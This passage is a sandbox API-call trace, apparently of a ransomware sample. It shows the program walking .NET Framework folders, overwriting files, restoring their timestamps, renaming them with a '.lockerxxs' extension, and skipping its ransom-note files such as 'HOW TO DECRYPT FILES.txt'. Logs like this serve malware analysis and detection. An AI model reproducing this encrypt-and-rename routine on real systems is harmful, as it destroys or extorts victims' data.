[0136.795] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x25b5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x25b5, lpOverlapped=0x0) returned 1 [0136.796] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.796] CloseHandle (hObject=0x8c) returned 1 [0136.796] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallsqlstate.sql.lockerxxs")) returned 1 [0136.797] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaa9a29f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdaa9a29f, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xae85e0fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x2e15, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="UninstallSqlStateTemplate.sql", cAlternateFileName="UN4D3B~1.SQL")) returned 1 [0136.797] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.797] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UninstallSqlStateTemplate.sql") returned -1 [0136.797] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UninstallSqlStateTemplate.sql") returned -1 [0136.797] lstrcmpiA (lpString1="", lpString2="UninstallSqlStateTemplate.sql") returned -1 [0136.797] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallSqlState.sql") returned="UninstallSqlState.sql" [0136.798] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.798] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.807] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallSqlStateTemplate.sql") returned="UninstallSqlStateTemplate.sql" [0136.807] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.807] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2def, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2def, lpOverlapped=0x0) returned 1 [0136.808] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.809] CloseHandle (hObject=0x8c) returned 1 [0136.809] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallsqlstatetemplate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallSqlStateTemplate.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallsqlstatetemplate.sql.lockerxxs")) returned 1 [0136.810] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaeeaa28, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdaeeaa28, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xae85e0fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xbbe, dwReserved0=0xed0001ec, dwReserved1=0x4e00c4, cFileName="UninstallWebEventSqlProvider.sql", cAlternateFileName="UNEB66~1.SQL")) returned 1 [0136.810] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.810] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UninstallWebEventSqlProvider.sql") returned -1 [0136.810] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UninstallWebEventSqlProvider.sql") returned -1 [0136.810] lstrcmpiA (lpString1="", lpString2="UninstallWebEventSqlProvider.sql") returned -1 [0136.810] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallSqlStateTemplate.sql") returned="UninstallSqlStateTemplate.sql" [0136.810] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.810] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.815] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallWebEventSqlProvider.sql") returned="UninstallWebEventSqlProvider.sql" [0136.815] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0136.815] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb98, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb98, lpOverlapped=0x0) returned 1 [0136.815] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0136.815] CloseHandle (hObject=0x8c) returned 1 [0136.816] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallwebeventsqlprovider.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallWebEventSqlProvider.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallwebeventsqlprovider.sql.lockerxxs")) returned 1 [0136.817] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc7dbfe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc7dbfe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bca3d5e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11d748, dwReserved0=0xef0001ee, dwReserved1=0x4e00c4, cFileName="vbc.exe", cAlternateFileName="")) returned 1 [0136.817] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.817] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vbc.exe") returned -1 [0136.817] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vbc.exe") returned -1 [0136.817] lstrcmpiA (lpString1="", lpString2="vbc.exe") returned -1 [0136.817] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallWebEventSqlProvider.sql") returned="UninstallWebEventSqlProvider.sql" [0136.817] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.817] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.817] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf94d3cc, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf94d3cc, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xae94293c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="vbc.exe.config", cAlternateFileName="VBCEXE~1.CON")) returned 1 [0136.818] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.818] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vbc.exe.config") returned -1 [0136.818] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vbc.exe.config") returned -1 [0136.818] lstrcmpiA (lpString1="", lpString2="vbc.exe.config") returned -1 [0136.818] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe") returned="vbc.exe" [0136.818] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.818] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.818] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd090c6, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xddd090c6, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xaeb57c7c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="vbc.rsp", cAlternateFileName="")) returned 1 [0136.818] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.818] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vbc.rsp") returned -1 [0136.818] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vbc.rsp") returned -1 [0136.818] lstrcmpiA (lpString1="", lpString2="vbc.rsp") returned -1 [0136.819] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe.config") returned="vbc.exe.config" [0136.819] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.819] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.819] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75ba882, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x75ba882, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xaeb57c7c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vsavb7.olb", cAlternateFileName="")) returned 1 [0136.819] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.819] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vsavb7.olb") returned -1 [0136.819] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vsavb7.olb") returned -1 [0136.819] lstrcmpiA (lpString1="", lpString2="vsavb7.olb") returned -1 [0136.819] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.rsp") returned="vbc.rsp" [0136.819] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.819] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.820] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eec6d1b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eec6d1b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eeece7b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x147550, dwReserved0=0x0, dwReserved1=0x0, cFileName="VsaVb7rt.dll", cAlternateFileName="")) returned 1 [0136.820] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.820] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VsaVb7rt.dll") returned -1 [0136.820] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VsaVb7rt.dll") returned -1 [0136.820] lstrcmpiA (lpString1="", lpString2="VsaVb7rt.dll") returned -1 [0136.820] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vsavb7.olb") returned="vsavb7.olb" [0136.820] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.820] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.820] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d455861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d455861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d455861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6a750, dwReserved0=0x0, dwReserved1=0x0, cFileName="webengine.dll", cAlternateFileName="")) returned 1 [0136.820] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.820] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="webengine.dll") returned -1 [0136.821] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="webengine.dll") returned -1 [0136.821] lstrcmpiA (lpString1="", lpString2="webengine.dll") returned -1 [0136.821] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\VsaVb7rt.dll") returned="VsaVb7rt.dll" [0136.821] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.821] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.821] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bec6c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bec6c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMINet_Utils.dll", cAlternateFileName="")) returned 1 [0136.821] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.821] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WMINet_Utils.dll") returned -1 [0136.821] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WMINet_Utils.dll") returned -1 [0136.821] lstrcmpiA (lpString1="", lpString2="WMINet_Utils.dll") returned -1 [0136.821] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\webengine.dll") returned="webengine.dll" [0136.821] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.821] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.822] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f19ee3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7f19ee3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xaf3d2adc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xjis.nlp", cAlternateFileName="")) returned 1 [0136.822] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.822] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="xjis.nlp") returned -1 [0136.822] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="xjis.nlp") returned -1 [0136.822] lstrcmpiA (lpString1="", lpString2="xjis.nlp") returned -1 [0136.822] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\WMINet_Utils.dll") returned="WMINet_Utils.dll" [0136.822] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.822] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.822] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f19ee3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7f19ee3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xaf3f8c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPThemes.manifest", cAlternateFileName="")) returned 1 [0136.822] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.822] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="XPThemes.manifest") returned -1 [0136.822] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="XPThemes.manifest") returned -1 [0136.823] lstrcmpiA (lpString1="", lpString2="XPThemes.manifest") returned -1 [0136.823] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\xjis.nlp") returned="xjis.nlp" [0136.823] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.823] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.823] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f19ee3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7f19ee3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xaf3f8c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPThemes.manifest", cAlternateFileName="")) returned 0 [0136.823] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0136.823] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0136.823] lstrcmpA (lpString1=".", lpString2="v3.0") returned -1 [0136.823] lstrcmpA (lpString1="..", lpString2="v3.0") returned -1 [0136.823] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\*.*") returned="*.*" [0136.823] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0136.824] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.824] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.824] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.824] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.824] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Windows Communication Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0136.824] lstrcmpA (lpString1=".", lpString2="Windows Communication Foundation") returned -1 [0136.824] lstrcmpA (lpString1="..", lpString2="Windows Communication Foundation") returned -1 [0136.824] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\*.*") returned="*.*" [0136.825] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0136.828] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.828] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.829] lstrcmpA 